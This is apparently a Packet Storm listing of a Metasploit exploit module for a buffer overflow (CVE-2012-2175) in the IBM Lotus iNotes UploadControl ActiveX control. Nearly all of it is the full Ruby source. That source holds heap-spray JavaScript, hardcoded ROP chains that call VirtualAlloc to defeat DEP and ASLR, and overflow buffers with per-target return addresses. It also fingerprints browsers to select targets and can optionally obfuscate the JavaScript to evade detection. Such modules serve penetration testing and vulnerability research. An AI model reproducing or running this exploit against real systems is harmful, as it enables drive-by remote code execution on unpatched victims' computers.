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IBM Lotus iNotes dwa85W ActiveX Buffer Overflow

IBM Lotus iNotes dwa85W ActiveX Buffer Overflow
Posted Dec 31, 2012
Authored by Gaurav Baruah, juan vazquez | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability on the UploadControl ActiveX. The vulnerability exists in the handling of the "Attachment_Times" property, due to the insecure usage of the _swscanf. The affected ActiveX is provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer. This Metasploit module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3. In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one is installed with the iNotes ActiveX.

tags | exploit, overflow, activex
systems | windows
advisories | CVE-2012-2175, OSVDB-82755
SHA-256 | a5379e9a43da683cd4806d1f1e1d548d9998b0760444a32f658bcd9210c0c210

IBM Lotus iNotes dwa85W ActiveX Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",
:method => "Attachment_Times"
})


def initialize(info={})
super(update_info(info,
'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability on the UploadControl
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
property, due to the insecure usage of the _swscanf. The affected ActiveX is
provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.

This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.

In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one
is installed with the iNotes ActiveX.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gaurav Baruah', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2175'],
[ 'OSVDB', '82755' ],
[ 'BID', '53879' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ],
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]
],
'Payload' =>
{
'Space' => 978,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# dwa85W.dll 85.3.3.0
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
[ 'IE 8 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
[ 'IE 9 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ] # pop eax # ret # dwabho.dll
],
'Privileged' => false,
'DisclosureDate' => "Jun 01 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|

else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using dwabho.dll ROP")
# gadgets from dwabho.dll, using mona.py
rop_payload = [
0x1000f765, # POP EAX # RETN
0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]
0x10010394, # JMP DWORD PTR DS:[EAX]
0x0c0c0c2c, # ret after VirtualAlloc
0x0c0c0c2c, # lpAddress
0x00000400, # dwSize
0x00001000, # flAllocationType
0x00000040 # flProtect
].pack("V*")
rop_payload << code
end

return rop_payload
end

def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

bof = rand_text_alpha(552) # offset to eip
bof << [my_target.ret].pack("V")

case my_target['Rop']
when :msvcrt
bof << rand_text_alpha(4)
bof << [0x0c0c0c0c].pack("V") # new ESP
when :notes
bof << rand_text_alpha(4)
bof << [0x0c0c0c00].pack("V") # eax
bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll
bof << [0x0c0c0c04].pack("V") # new ESP
end

my_bof = Rex::Text.to_unescape(bof)

html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">
<param name="General_Mode" value="1">
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
</object>
<script>
var bof = unescape("#{my_bof}");
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
my_time += bof;
my_time += " GMT";
UploadControl.Attachment_Times = my_time;
</script>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end
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